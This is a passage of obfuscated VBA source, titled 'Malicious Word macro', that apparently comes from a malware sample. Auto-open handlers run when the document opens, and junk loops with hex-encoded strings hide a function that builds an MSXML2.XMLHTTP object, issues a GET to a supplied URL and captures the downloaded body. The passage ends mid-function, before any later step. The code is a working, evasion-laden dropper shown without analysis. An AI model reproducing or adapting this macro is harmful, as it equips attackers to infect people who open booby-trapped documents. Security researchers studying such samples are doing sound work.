Malicious Word macro

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
Dim XIrmbVcD, ARSGDlhR, ublpNFux As String

Dim ZzhIWspL As Integer
Dim QQFxtYot, UQVIbPYy, ZSoMMGru As String
QQFxtYot = GIYbonflbkpgerg("2020202020202020202020425558484D50202020202020202020202020202020")
UQVIbPYy = LTrim(QQFxtYot)
ZSoMMGru = RTrim(UQVIbPYy)

ZzhIWspL = 6
Do While ZzhIWspL < 59
Dim tKvmByio, PDyGsABN, gOFpvXJK As String
tKvmByio = GIYbonflbkpgerg("20202020202020202020204A445A505747202020202020202020202020202020")
PDyGsABN = LTrim(tKvmByio)
gOFpvXJK = RTrim(PDyGsABN)

DoEvents: ZzhIWspL = ZzhIWspL + 1
Dim lETUqKOK, XFLAMhls, qRBtBaRM As String
lETUqKOK = GIYbonflbkpgerg("20202020202020202020204E4347544759202020202020202020202020202020")
XFLAMhls = LTrim(lETUqKOK)
qRBtBaRM = RTrim(XFLAMhls)

Loop

Dim koorgMTk, EgWuHIIZ, GmUplwQS As String
koorgMTk = GIYbonflbkpgerg("2020202020202020202020464E434C504B202020202020202020202020202020")
EgWuHIIZ = LTrim(koorgMTk)
GmUplwQS = RTrim(EgWuHIIZ)

XIrmbVcD = GIYbonflbkpgerg("20202020202020202020205943465A4C4A202020202020202020202020202020")

Dim QaXpyegJ As Integer
Dim pcPSbeZv, tvMVMuNb, avrpgscA As String
pcPSbeZv = GIYbonflbkpgerg("2020202020202020202020514E4D565257202020202020202020202020202020")
tvMVMuNb = LTrim(pcPSbeZv)
avrpgscA = RTrim(tvMVMuNb)

QaXpyegJ = 8
Do While QaXpyegJ < 31
Dim lOcvuMPA, VTtMlgAl, EnDgUOlq As String
lOcvuMPA = GIYbonflbkpgerg("20202020202020202020204A5643545047202020202020202020202020202020")
VTtMlgAl = LTrim(lOcvuMPA)
EnDgUOlq = RTrim(VTtMlgAl)

DoEvents: QaXpyegJ = QaXpyegJ + 1
Dim VbyEngKl, dhsuTNrz, GAnagcSx As String
VbyEngKl = GIYbonflbkpgerg("20202020202020202020204758455A434B202020202020202020202020202020")
dhsuTNrz = LTrim(VbyEngKl)
GAnagcSx = RTrim(dhsuTNrz)

Loop

Dim tuzUTlxT, eKTmEmzr, gVkctiyg As String
tuzUTlxT = GIYbonflbkpgerg("20202020202020202020204E47474E4551202020202020202020202020202020")
eKTmEmzr = LTrim(tuzUTlxT)
gVkctiyg = RTrim(eKTmEmzr)

ARSGDlhR = LTrim(XIrmbVcD)

Dim MNASjMmF As Integer
Dim fAtuVqNX, oZhlkgcC, rZbRSlWV As String
fAtuVqNX = GIYbonflbkpgerg("2020202020202020202020445A54494842202020202020202020202020202020")
oZhlkgcC = LTrim(fAtuVqNX)
rZbRSlWV = RTrim(oZhlkgcC)

MNASjMmF = 9
Do While MNASjMmF < 23
Dim bcsmoBhx, lFeyByTN, VOPndAxJ As String
bcsmoBhx = GIYbonflbkpgerg("2020202020202020202020414558514E51202020202020202020202020202020")
lFeyByTN = LTrim(bcsmoBhx)
VOPndAxJ = RTrim(lFeyByTN)

DoEvents: MNASjMmF = MNASjMmF + 1
Dim wlxhOrev, VRQplASK, smJDcdVn As String
wlxhOrev = GIYbonflbkpgerg("2020202020202020202020554548524A54202020202020202020202020202020")
VRQplASK = LTrim(wlxhOrev)
smJDcdVn = RTrim(VRQplASK)

Loop

Dim CZwuSEww, oIipgjvY, ulQCdlry As String
CZwuSEww = GIYbonflbkpgerg("2020202020202020202020434E42445548202020202020202020202020202020")
oIipgjvY = LTrim(CZwuSEww)
ulQCdlry = RTrim(oIipgjvY)

ublpNFux = RTrim(ARSGDlhR)


Dim aogFvSXL As Integer
Dim GDjdHTlv, QFnvqPJb, YFQPRFgn As String
GDjdHTlv = GIYbonflbkpgerg("2020202020202020202020414951514450202020202020202020202020202020")
QFnvqPJb = LTrim(GDjdHTlv)
YFQPRFgn = RTrim(QFnvqPJb)

aogFvSXL = 1
Do While aogFvSXL < 34
Dim QRWOLQrG, RWSlPKll, pHlGCdqp As String
QRWOLQrG = GIYbonflbkpgerg("20202020202020202020205559464B4B52202020202020202020202020202020")
RWSlPKll = LTrim(QRWOLQrG)
pHlGCdqp = RTrim(RWSlPKll)

DoEvents: aogFvSXL = aogFvSXL + 1
Dim DFkYtfQl, hNYnFQmS, RHSrLxYm As String
DFkYtfQl = GIYbonflbkpgerg("2020202020202020202020484644534150202020202020202020202020202020")
hNYnFQmS = LTrim(DFkYtfQl)
RHSrLxYm = RTrim(hNYnFQmS)

Loop

Dim VLGYaexu, pBAOZJnk, xtfSrTEZ As String
VLGYaexu = GIYbonflbkpgerg("20202020202020202020204349494E4652202020202020202020202020202020")
pBAOZJnk = LTrim(VLGYaexu)
xtfSrTEZ = RTrim(pBAOZJnk)

KFIDAXVLION
End Sub
Sub AutoOpen()
Dim KbIJEeir, mQCQdnJc, OAzgksey As String

Dim gThTotIj As Integer
Dim RnqOGlZp, nAmWocNq, wARuEAcs As String
RnqOGlZp = GIYbonflbkpgerg("2020202020202020202020584155585345202020202020202020202020202020")
nAmWocNq = LTrim(RnqOGlZp)
wARuEAcs = RTrim(nAmWocNq)

gThTotIj = 4
Do While gThTotIj < 58
Dim maSkBRgi, fkZzHQEQ, LdqceumZ As String
maSkBRgi = GIYbonflbkpgerg("2020202020202020202020424A4F4F5741202020202020202020202020202020")
fkZzHQEQ = LTrim(maSkBRgi)
LdqceumZ = RTrim(fkZzHQEQ)

DoEvents: gThTotIj = gThTotIj + 1
Dim lnKTtFac, XQubFsPJ, qAdrMCXb As String
lnKTtFac = GIYbonflbkpgerg("202020202020202020202055594E535A43202020202020202020202020202020")
XQubFsPJ = LTrim(lnKTtFac)
qAdrMCXb = RTrim(XQubFsPJ)

Loop

Dim ZMXtcYRF, nTbKwIqd, SQsWVxfc As String
ZMXtcYRF = GIYbonflbkpgerg("2020202020202020202020534F53534E4B202020202020202020202020202020")
nTbKwIqd = LTrim(ZMXtcYRF)
SQsWVxfc = RTrim(nTbKwIqd)

KbIJEeir = GIYbonflbkpgerg("20202020202020202020204C59574A4654202020202020202020202020202020")

Dim cRXilXDg As Integer
Dim nAlBMEWR, wARqgIlT, kZFxIDHY As String
nAlBMEWR = GIYbonflbkpgerg("20202020202020202020204C5A5352474F202020202020202020202020202020")
wARqgIlT = LTrim(nAlBMEWR)
kZFxIDHY = RTrim(wARqgIlT)

cRXilXDg = 5
Do While cRXilXDg < 31
Dim tjyJralg, PsDsjxpy, EZRCiEbO As String
tjyJralg = GIYbonflbkpgerg("20202020202020202020204A424C584353202020202020202020202020202020")
PsDsjxpy = LTrim(tjyJralg)
EZRCiEbO = RTrim(PsDsjxpy)

DoEvents: cRXilXDg = cRXilXDg + 1
Dim ojxhhVTO, cuZLmOJk, NkHDrunS As String
ojxhhVTO = GIYbonflbkpgerg("20202020202020202020204D4A51574B4F202020202020202020202020202020")
cuZLmOJk = LTrim(ojxhhVTO)
NkHDrunS = RTrim(cuZLmOJk)

Loop

Dim UgoRFGsB, MmWUjZgp, KtvmgRMI As String
UgoRFGsB = GIYbonflbkpgerg("2020202020202020202020474C4B424958202020202020202020202020202020")
MmWUjZgp = LTrim(UgoRFGsB)
KtvmgRMI = RTrim(MmWUjZgp)

mQCQdnJc = LTrim(KbIJEeir)

Dim EXKxgJzj As Integer
Dim DzZJJQBm, IeSesHxw, RrXgYMMx As String
DzZJJQBm = GIYbonflbkpgerg("20202020202020202020204E47484E4453202020202020202020202020202020")
IeSesHxw = LTrim(DzZJJQBm)
RrXgYMMx = RTrim(IeSesHxw)

EXKxgJzj = 6
Do While EXKxgJzj < 82
Dim JWxBOZqK, xJtlXVeP, zSSGplMA As String
JWxBOZqK = GIYbonflbkpgerg("202020202020202020202050465A4E444E202020202020202020202020202020")
xJtlXVeP = LTrim(JWxBOZqK)
zSSGplMA = RTrim(xJtlXVeP)

DoEvents: EXKxgJzj = EXKxgJzj + 1
Dim gUNAktLk, JKfwaZZS, yIlBufFm As String
gUNAktLk = GIYbonflbkpgerg("2020202020202020202020525052504959202020202020202020202020202020")
JKfwaZZS = LTrim(gUNAktLk)
yIlBufFm = RTrim(JKfwaZZS)

Loop

Dim IDFogXfK, MLnsJPke, yBdglvmd As String
IDFogXfK = GIYbonflbkpgerg("202020202020202020202047544946574E202020202020202020202020202020")
MLnsJPke = LTrim(IDFogXfK)
yBdglvmd = RTrim(MLnsJPke)

OAzgksey = RTrim(mQCQdnJc)


Dim WLrAQbdd As Integer
Dim IybtjMtH, EuOjQVZJ, buLZyeBL As String
IybtjMtH = GIYbonflbkpgerg("2020202020202020202020434A47554E4A202020202020202020202020202020")
EuOjQVZJ = LTrim(IybtjMtH)
buLZyeBL = RTrim(EuOjQVZJ)

WLrAQbdd = 3
Do While WLrAQbdd < 22
Dim gSNPHKSE, LUItefEw, vEhbjImf As String
gSNPHKSE = GIYbonflbkpgerg("2020202020202020202020474253505A47202020202020202020202020202020")
LUItefEw = LTrim(gSNPHKSE)
vEhbjImf = RTrim(LUItefEw)

DoEvents: WLrAQbdd = WLrAQbdd + 1
Dim HXBAMkrA, tSttBehp, UClBInVE As String
HXBAMkrA = GIYbonflbkpgerg("202020202020202020202051554E41554C202020202020202020202020202020")
tSttBehp = LTrim(HXBAMkrA)
UClBInVE = RTrim(tSttBehp)

Loop

Dim bprWIOMK, cWUUYQnk, PalPibEZ As String
bprWIOMK = GIYbonflbkpgerg("202020202020202020202051484855544D202020202020202020202020202020")
cWUUYQnk = LTrim(bprWIOMK)
PalPibEZ = RTrim(cWUUYQnk)

    Auto_Open
End Sub
Sub Workbook_Open()
Dim YgCcigmM, KmOnOect, rnwEqJAg As String

Dim bkNKnGlW As Integer
Dim JnXfQbcU, DAubyRWO, IZjQbIlP As String
JnXfQbcU = GIYbonflbkpgerg("20202020202020202020205A414E535059202020202020202020202020202020")
DAubyRWO = LTrim(JnXfQbcU)
IZjQbIlP = RTrim(DAubyRWO)

bkNKnGlW = 6
Do While bkNKnGlW < 52
Dim OKgRxAnf, gDCBPCly, LIRmCkpC As String
OKgRxAnf = GIYbonflbkpgerg("2020202020202020202020425A4C494B59202020202020202020202020202020")
gDCBPCly = LTrim(OKgRxAnf)
LIRmCkpC = RTrim(gDCBPCly)

DoEvents: bkNKnGlW = bkNKnGlW + 1
Dim YnZgGTGj, WjIKWjaB, cZCSRFPl As String
YnZgGTGj = GIYbonflbkpgerg("202020202020202020202059584657544E202020202020202020202020202020")
WjIKWjaB = LTrim(YnZgGTGj)
cZCSRFPl = RTrim(WjIKWjaB)

Loop

Dim hJnoORMl, ACdsqkCR, FeBhDyaF As String
hJnoORMl = GIYbonflbkpgerg("202020202020202020202059554146594A202020202020202020202020202020")
ACdsqkCR = LTrim(hJnoORMl)
FeBhDyaF = RTrim(ACdsqkCR)

YgCcigmM = GIYbonflbkpgerg("2020202020202020202020464C53574B4F202020202020202020202020202020")

Dim IjTmQYcL As Integer
Dim eObNJQEl, BOOssHam, MPLcTMvw As String
eObNJQEl = GIYbonflbkpgerg("2020202020202020202020495947544453202020202020202020202020202020")
BOOssHam = LTrim(eObNJQEl)
MPLcTMvw = RTrim(BOOssHam)

IjTmQYcL = 7
Do While IjTmQYcL < 34
Dim YIlpblOw, bBqWjbVB, tMKhEMHH As String
YIlpblOw = GIYbonflbkpgerg("202020202020202020202054494E544957202020202020202020202020202020")
bBqWjbVB = LTrim(YIlpblOw)
tMKhEMHH = RTrim(bBqWjbVB)

DoEvents: IjTmQYcL = IjTmQYcL + 1
Dim iKlaEJal, PeUWdgPD, BLDvkNXw As String
iKlaEJal = GIYbonflbkpgerg("2020202020202020202020414746584642202020202020202020202020202020")
PeUWdgPD = LTrim(iKlaEJal)
BLDvkNXw = RTrim(PeUWdgPD)

Loop

Dim wUeBmnjX, UDGzXgly, MLAtvzxj As String
wUeBmnjX = GIYbonflbkpgerg("202020202020202020202048444D4A4449202020202020202020202020202020")
UDGzXgly = LTrim(wUeBmnjX)
MLAtvzxj = RTrim(UDGzXgly)

KmOnOect = LTrim(YgCcigmM)

Dim JgsCCcZH As Integer
Dim MoAJNIDi, HpQemDqo, QpWgGKIp As String
MoAJNIDi = GIYbonflbkpgerg("2020202020202020202020524B484E4B51202020202020202020202020202020")
HpQemDqo = LTrim(MoAJNIDi)
QpWgGKIp = RTrim(HpQemDqo)

JgsCCcZH = 9
Do While JgsCCcZH < 15
Dim oJWzujUx, FSZclQvf, UeliqKFJ As String
oJWzujUx = GIYbonflbkpgerg("20202020202020202020204C53465A424D202020202020202020202020202020")
FSZclQvf = LTrim(oJWzujUx)
UeliqKFJ = RTrim(FSZclQvf)

DoEvents: JgsCCcZH = JgsCCcZH + 1
Dim ayxPkbTE, hXAgcqJs, KuHouIbT As String
ayxPkbTE = GIYbonflbkpgerg("20202020202020202020204A5351594C43202020202020202020202020202020")
hXAgcqJs = LTrim(ayxPkbTE)
KuHouIbT = RTrim(hXAgcqJs)

Loop

Dim vKMYRsGV, xEclZfwc, IOpwrzvI As String
vKMYRsGV = GIYbonflbkpgerg("2020202020202020202020505551424549202020202020202020202020202020")
xEclZfwc = LTrim(vKMYRsGV)
IOpwrzvI = RTrim(xEclZfwc)

rnwEqJAg = RTrim(KmOnOect)


Dim eBrnFfuX As Integer
Dim TbSpbBCF, nnXwMrmG, xnyUgiKH As String
TbSpbBCF = GIYbonflbkpgerg("202020202020202020202058415750544C202020202020202020202020202020")
nnXwMrmG = LTrim(TbSpbBCF)
xnyUgiKH = RTrim(nnXwMrmG)

eBrnFfuX = 2
Do While eBrnFfuX < 33
Dim XMgSyPXS, AGXulyFR, myDKpdei As String
XMgSyPXS = GIYbonflbkpgerg("20202020202020202020204446564C5652202020202020202020202020202020")
AGXulyFR = LTrim(XMgSyPXS)
myDKpdei = RTrim(AGXulyFR)

DoEvents: eBrnFfuX = eBrnFfuX + 1
Dim WcekfYMN, ofoXlkyI, QvcHeGGz As String
WcekfYMN = GIYbonflbkpgerg("2020202020202020202020444D41434A4E202020202020202020202020202020")
ofoXlkyI = LTrim(WcekfYMN)
QvcHeGGz = RTrim(ofoXlkyI)

Loop

Dim MJYXFKMw, uClBhYCY, tIWQfIZt As String
MJYXFKMw = GIYbonflbkpgerg("2020202020202020202020575552554956202020202020202020202020202020")
uClBhYCY = LTrim(MJYXFKMw)
tIWQfIZt = RTrim(uClBhYCY)

    Auto_Open
End Sub
Function ICWLJKSEKJP(ByVal IIGBLNIRYMI As String, ByVal DUBGHDQFXFU As String) As Boolean
     Dim SXGGPOLSDDD As Object, CKPQMFCIQUE As Long, ZYCJDCPOEMK As Long, NPJUFXTFFIE() As Byte

Dim qrIjkSJR, utKZSJgT, zyzFuWSY As String

Dim BmdKsnEt As Integer
Dim splIAzLp, iqZMWujq, eqSyhqFs As String
splIAzLp = GIYbonflbkpgerg("2020202020202020202020534C51585457202020202020202020202020202020")
iqZMWujq = LTrim(splIAzLp)
eqSyhqFs = RTrim(iqZMWujq)

BmdKsnEt = 1
Do While BmdKsnEt < 36
Dim jNvXOegN, XXukXcyK, GdCzDRww As String
jNvXOegN = GIYbonflbkpgerg("2020202020202020202020434A45424444202020202020202020202020202020")
XXukXcyK = LTrim(jNvXOegN)
GdCzDRww = RTrim(XXukXcyK)

DoEvents: BmdKsnEt = BmdKsnEt + 1
Dim SLmNMIIT, gtOLEykB, EWGcIJEU As String
SLmNMIIT = GIYbonflbkpgerg("202020202020202020202048484758584D202020202020202020202020202020")
gtOLEykB = LTrim(SLmNMIIT)
EWGcIJEU = RTrim(gtOLEykB)

Loop

Dim HJWQCqHp, FZccWdxI, NIpnxNbL As String
HJWQCqHp = GIYbonflbkpgerg("20202020202020202020204C55515A5355202020202020202020202020202020")
FZccWdxI = LTrim(HJWQCqHp)
NIpnxNbL = RTrim(FZccWdxI)

qrIjkSJR = GIYbonflbkpgerg("202020202020202020202053484C444E44202020202020202020202020202020")

Dim tSouiwLi As Integer
Dim biGWUIRS, moBuzDzF, joolwJbG As String
biGWUIRS = GIYbonflbkpgerg("20202020202020202020204C4B435A4951202020202020202020202020202020")
moBuzDzF = LTrim(biGWUIRS)
joolwJbG = RTrim(moBuzDzF)

tSouiwLi = 2
Do While tSouiwLi < 92
Dim HZkcflRQ, wcNKnGwZ, alUdDpfm As String
HZkcflRQ = GIYbonflbkpgerg("2020202020202020202020505442535A57202020202020202020202020202020")
wcNKnGwZ = LTrim(HZkcflRQ)
alUdDpfm = RTrim(wcNKnGwZ)

DoEvents: tSouiwLi = tSouiwLi + 1
Dim crfbAIhl, SMlrUlAa, gtIVjJpm As String
crfbAIhl = GIYbonflbkpgerg("20202020202020202020205A5155415641202020202020202020202020202020")
SMlrUlAa = LTrim(crfbAIhl)
gtIVjJpm = RTrim(SMlrUlAa)

Loop

Dim BgyKQFWz, qmKWdAVd, oywIqERQ As String
BgyKQFWz = GIYbonflbkpgerg("2020202020202020202020564C4A595958202020202020202020202020202020")
qmKWdAVd = LTrim(BgyKQFWz)
oywIqERQ = RTrim(qmKWdAVd)

utKZSJgT = LTrim(qrIjkSJR)

Dim XOCybTQb As Integer
Dim nAMbQlps, wArStcUd, kZfVbZtf As String
nAMbQlps = GIYbonflbkpgerg("20202020202020202020204C5A424B5045202020202020202020202020202020")
wArStcUd = LTrim(nAMbQlps)
kZfVbZtf = RTrim(wArStcUd)

XOCybTQb = 3
Do While XOCybTQb < 29
Dim GofQJarn, mrXyrwWl, BNEAkJDp As String
GofQJarn = GIYbonflbkpgerg("20202020202020202020205A514C515A4C202020202020202020202020202020")
mrXyrwWl = LTrim(GofQJarn)
BNEAkJDp = RTrim(mrXyrwWl)

DoEvents: XOCybTQb = XOCybTQb + 1
Dim JlThqWil, lRMpWlJD, ImBDNrew As String
JlThqWil = GIYbonflbkpgerg("20202020202020202020204B454D525441202020202020202020202020202020")
lRMpWlJD = LTrim(JlThqWil)
ImBDNrew = RTrim(lRMpWlJD)

Loop

Dim kUiJWkfq, RDMMxyjw, HMYCBMmY As String
kUiJWkfq = GIYbonflbkpgerg("2020202020202020202020555A4B545151202020202020202020202020202020")
RDMMxyjw = LTrim(kUiJWkfq)
HMYCBMmY = RTrim(RDMMxyjw)

zyzFuWSY = RTrim(utKZSJgT)


Dim vwUdprZs As Integer
Dim BfQgXbyp, MgXnjEEq, HgyDPIas As String
BfQgXbyp = GIYbonflbkpgerg("2020202020202020202020595757534859202020202020202020202020202020")
MgXnjEEq = LTrim(BfQgXbyp)
HgyDPIas = RTrim(MgXnjEEq)

vwUdprZs = 8
Do While vwUdprZs < 77
Dim SzrYYUSc, kCSaLzRh, CKlwucwu As String
SzrYYUSc = GIYbonflbkpgerg("202020202020202020202041554649434F202020202020202020202020202020")
kCSaLzRh = LTrim(SzrYYUSc)
CKlwucwu = RTrim(kCSaLzRh)

DoEvents: vwUdprZs = vwUdprZs + 1
Dim iVOCtgvY, PpVJFSiN, BNrmMclI As String
iVOCtgvY = GIYbonflbkpgerg("2020202020202020202020414B584D5A51202020202020202020202020202020")
PpVJFSiN = LTrim(iVOCtgvY)
BNrmMclI = RTrim(PpVJFSiN)

Loop

Dim lCZdwuxn, kIyBlozN, RFKzWCyp As String
lCZdwuxn = GIYbonflbkpgerg("202020202020202020202049505A485659202020202020202020202020202020")
kIyBlozN = LTrim(lCZdwuxn)
RFKzWCyp = RTrim(kIyBlozN)

    Set SXGGPOLSDDD = CreateObject(GIYbonflbkpgerg("4D53584D4C322E584D4C48545450"))
    SXGGPOLSDDD.Open GIYbonflbkpgerg("474554"), IIGBLNIRYMI, False
Dim WjWtlXwJ, bsZnTjfO, tiqWLStn As String

Dim FIRAoPVu As Integer
Dim nZPloKsD, wEWREXOF, kEtHVauG As String
nZPloKsD = GIYbonflbkpgerg("20202020202020202020204D5A4D465848202020202020202020202020202020")
wEWREXOF = LTrim(nZPloKsD)
kEtHVauG = RTrim(wEWREXOF)

FIRAoPVu = 8
Do While FIRAoPVu < 47
Dim GprRgbya, InWhyYmR, fxZPladx As String
GprRgbya = GIYbonflbkpgerg("20202020202020202020204F584B484556202020202020202020202020202020")
InWhyYmR = LTrim(GprRgbya)
fxZPladx = RTrim(InWhyYmR)

DoEvents: FIRAoPVu = FIRAoPVu + 1
Dim rLlylHEL, YtINzfsf, WWFEuBcX As String
rLlylHEL = GIYbonflbkpgerg("2020202020202020202020424846424956202020202020202020202020202020")
YtINzfsf = LTrim(rLlylHEL)
WWFEuBcX = RTrim(YtINzfsf)

Loop

Dim VWrtezYP, qaHiTHOW, oQlMEKhm As String
VWrtezYP = GIYbonflbkpgerg("2020202020202020202020434F48534745202020202020202020202020202020")
qaHiTHOW = LTrim(VWrtezYP)
oQlMEKhm = RTrim(qaHiTHOW)

WjWtlXwJ = GIYbonflbkpgerg("202020202020202020202054464F574848202020202020202020202020202020")

Dim CYprmAet As Integer
Dim zVziWLBc, CVslgVxb, LBxTOzMn As String
zVziWLBc = GIYbonflbkpgerg("20202020202020202020205544454F4748202020202020202020202020202020")
CVslgVxb = LTrim(zVziWLBc)
LBxTOzMn = RTrim(CVslgVxb)

CYprmAet = 1
Do While CYprmAet < 29
Dim dewlNUwm, KVrFdzfd, PgMbroZH As String
dewlNUwm = GIYbonflbkpgerg("2020202020202020202020574B4150575A202020202020202020202020202020")
KVrFdzfd = LTrim(dewlNUwm)
PgMbroZH = RTrim(KVrFdzfd)

DoEvents: CYprmAet = CYprmAet + 1
Dim eRGYCamx, kmWqeSYt, MYptSphb As String
eRGYCamx = GIYbonflbkpgerg("20202020202020202020204A5657524F51202020202020202020202020202020")
kmWqeSYt = LTrim(eRGYCamx)
MYptSphb = RTrim(kmWqeSYt)

Loop

Dim ZCzwWbLJ, GeFbxdXz, aonZBaNs As String
ZCzwWbLJ = GIYbonflbkpgerg("20202020202020202020204450474D5147202020202020202020202020202020")
GeFbxdXz = LTrim(ZCzwWbLJ)
aonZBaNs = RTrim(GeFbxdXz)

bsZnTjfO = LTrim(WjWtlXwJ)

Dim eBylhxki As Integer
Dim oRnfEwqS, tRPbVnIF, NTMQlRyG As String
oRnfEwqS = GIYbonflbkpgerg("2020202020202020202020514547515954202020202020202020202020202020")
tRPbVnIF = LTrim(oRnfEwqS)
NTMQlRyG = RTrim(tRPbVnIF)

eBylhxki = 2
Do While eBylhxki < 61
Dim wZxjPjvb, NcrSCQhj, TlSuqyio As String
wZxjPjvb = GIYbonflbkpgerg("20202020202020202020204254414F464D202020202020202020202020202020")
NcrSCQhj = LTrim(wZxjPjvb)
TlSuqyio = RTrim(NcrSCQhj)

DoEvents: eBylhxki = eBylhxki + 1
Dim NmVCokMr, ZTsJKGEc, JwkmVnGy As String
NmVCokMr = GIYbonflbkpgerg("20202020202020202020204352454D5253202020202020202020202020202020")
ZTsJKGEc = LTrim(NmVCokMr)
JwkmVnGy = RTrim(ZTsJKGEc)

Loop

Dim rdWMKswl, eVvYHfaK, grqOlzte As String
rdWMKswl = GIYbonflbkpgerg("20202020202020202020204E4B53595049202020202020202020202020202020")
eVvYHfaK = LTrim(rdWMKswl)
grqOlzte = RTrim(eVvYHfaK)

tiqWLStn = RTrim(bsZnTjfO)


Dim GYUwpYjT As Integer
Dim dUaitQsZ, oUqlbGIR, rIwTMMyT As String
dUaitQsZ = GIYbonflbkpgerg("20202020202020202020204454454F4D53202020202020202020202020202020")
oUqlbGIR = LTrim(dUaitQsZ)
rIwTMMyT = RTrim(oUqlbGIR)

GYUwpYjT = 8
Do While GYUwpYjT < 47
Dim SuTTNbdH, jzdadMrI, XCWwnhWb As String
SuTTNbdH = GIYbonflbkpgerg("2020202020202020202020494D59485756202020202020202020202020202020")
jzdadMrI = LTrim(SuTTNbdH)
XCWwnhWb = RTrim(jzdadMrI)

DoEvents: GYUwpYjT = GYUwpYjT + 1
Dim ffFYiKYA, HbenJhhX, thorXaAR As String
ffFYiKYA = GIYbonflbkpgerg("2020202020202020202020524E42534542202020202020202020202020202020")
HbenJhhX = LTrim(ffFYiKYA)
thorXaAR = RTrim(HbenJhhX)

Loop

Dim bkoVwnyt, QcWaVfph, PovFXhGF As String
bkoVwnyt = GIYbonflbkpgerg("2020202020202020202020514D4B494247202020202020202020202020202020")
QcWaVfph = LTrim(bkoVwnyt)
PovFXhGF = RTrim(QcWaVfph)

    SXGGPOLSDDD.Send GIYbonflbkpgerg("70484A47626A6B76")

Dim VgwHlLYl, AbOPzjhF, GhGguzAx As String

Dim PtvolSWy As Integer
Dim JOakAWYX, DOqEXBrC, IPmGjrAV As String
JOakAWYX = GIYbonflbkpgerg("20202020202020202020205A595A46544A202020202020202020202020202020")
DOqEXBrC = LTrim(JOakAWYX)
IPmGjrAV = RTrim(DOqEXBrC)

PtvolSWy = 8
Do While PtvolSWy < 94
Dim PMJMMgef, gHvguOMt, MQyOltSC As String
PMJMMgef = GIYbonflbkpgerg("20202020202020202020204E455547454E202020202020202020202020202020")
gHvguOMt = LTrim(PMJMMgef)
MQyOltSC = RTrim(gHvguOMt)

DoEvents: PtvolSWy = PtvolSWy + 1
Dim PhkAisWt, VtctdCuD, njSBXmHu As String
PhkAisWt = GIYbonflbkpgerg("202020202020202020202049484F5A4648202020202020202020202020202020")
VtctdCuD = LTrim(PhkAisWt)
njSBXmHu = RTrim(VtctdCuD)

Loop

Dim CuWatAvl, odUrYgAE, mlluoeTF As String
CuWatAvl = GIYbonflbkpgerg("2020202020202020202020434751504847202020202020202020202020202020")
odUrYgAE = LTrim(CuWatAvl)
mlluoeTF = RTrim(odUrYgAE)

VgwHlLYl = GIYbonflbkpgerg("2020202020202020202020584E474A494E202020202020202020202020202020")

Dim jcMbONYl As Integer
Dim AasxbOJp, xzwOMDgq, leTWgKSs As String
AasxbOJp = GIYbonflbkpgerg("20202020202020202020204D4749485251202020202020202020202020202020")
xzwOMDgq = LTrim(AasxbOJp)
leTWgKSs = RTrim(xzwOMDgq)

jcMbONYl = 4
Do While jcMbONYl < 29
Dim EtoliTuj, oaJGmaBi, FXvpIwHN As String
EtoliTuj = GIYbonflbkpgerg("2020202020202020202020434F485A5049202020202020202020202020202020")
oaJGmaBi = LTrim(EtoliTuj)
FXvpIwHN = RTrim(oaJGmaBi)

DoEvents: jcMbONYl = jcMbONYl + 1
Dim MRfFGASW, xHZIvVwh, QYIdRPUV As String
MRfFGASW = GIYbonflbkpgerg("20202020202020202020204D4F51484D4A202020202020202020202020202020")
xHZIvVwh = LTrim(MRfFGASW)
QYIdRPUV = RTrim(xHZIvVwh)

Loop

Dim ZtfQtQHa, nGJveDwb, SWEARAbP As String
ZtfQtQHa = GIYbonflbkpgerg("20202020202020202020205346575A4857202020202020202020202020202020")
nGJveDwb = LTrim(ZtfQtQHa)
SWEARAbP = RTrim(nGJveDwb)

AbOPzjhF = LTrim(VgwHlLYl)

Dim wHHFRWXx As Integer
Dim jHGlfNjH, sJBYItFJ, iKoKeoqL As String
jHGlfNjH = GIYbonflbkpgerg("2020202020202020202020474F4347424D202020202020202020202020202020")
sJBYItFJ = LTrim(jHGlfNjH)
iKoKeoqL = RTrim(sJBYItFJ)

wHHFRWXx = 5
Do While wHHFRWXx < 71
Dim oaSgsPAS, zkEBzJHh, UdqmhsIu As String
oaSgsPAS = GIYbonflbkpgerg("20202020202020202020204C4A4F494145202020202020202020202020202020")
zkEBzJHh = LTrim(oaSgsPAS)
UdqmhsIu = RTrim(zkEBzJHh)

DoEvents: wHHFRWXx = wHHFRWXx + 1
Dim HTlnagSn, twbryNVo, UUFVGcUE As String
HTlnagSn = GIYbonflbkpgerg("202020202020202020202051425041504B202020202020202020202020202020")
twbryNVo = LTrim(HTlnagSn)
UUFVGcUE = RTrim(twbryNVo)

Loop

Dim UakmCzQf, LurcbGGc, JKUpcJmC As String
UakmCzQf = GIYbonflbkpgerg("20202020202020202020204753434C4445202020202020202020202020202020")
LurcbGGc = LTrim(UakmCzQf)
JKUpcJmC = RTrim(LurcbGGc)

GhGguzAx = RTrim(AbOPzjhF)


Dim PulYQUhx As Integer
Dim ZCAlodmO, cCQTZjKP, lVWJCwhQ As String
ZCAlodmO = GIYbonflbkpgerg("20202020202020202020204D534847584E202020202020202020202020202020")
cCQTZjKP = LTrim(ZCAlodmO)
lVWJCwhQ = RTrim(cCQTZjKP)

PulYQUhx = 1
Do While PulYQUhx < 94
Dim qlWEwjnO, GgEBIQln, ITlObKUr As String
qlWEwjnO = GIYbonflbkpgerg("20202020202020202020204D4E4647594D202020202020202020202020202020")
GgEBIQln = LTrim(qlWEwjnO)
ITlObKUr = RTrim(GgEBIQln)

DoEvents: PulYQUhx = PulYQUhx + 1
Dim LQPqvPPE, wXVtiilC, PSrIdLTT As String
LQPqvPPE = GIYbonflbkpgerg("202020202020202020202044414B4C585A202020202020202020202020202020")
wXVtiilC = LTrim(LQPqvPPE)
PSrIdLTT = RTrim(wXVtiilC)

Loop

Dim KkywdbGo, rcKvFfKl, hERAjzXE As String
KkywdbGo = GIYbonflbkpgerg("20202020202020202020204D4D4A4D4D47202020202020202020202020202020")
rcKvFfKl = LTrim(KkywdbGo)
hERAjzXE = RTrim(rcKvFfKl)

    NPJUFXTFFIE = SXGGPOLSDDD.responseBody

Dim HEXvEzRA, GfbsArpN, alsgrKfq As String

Dim GRHDIDqu As Integer
Dim calqsGXr, lzZxYMlt, gzSIaVJy As String
calqsGXr = GIYbonflbkpgerg("20202020202020202020204B4651505646202020202020202020202020202020")
lzZxYMlt = LTrim(calqsGXr)
gzSIaVJy = RTrim(lzZxYMlt)

GRHDIDqu = 2
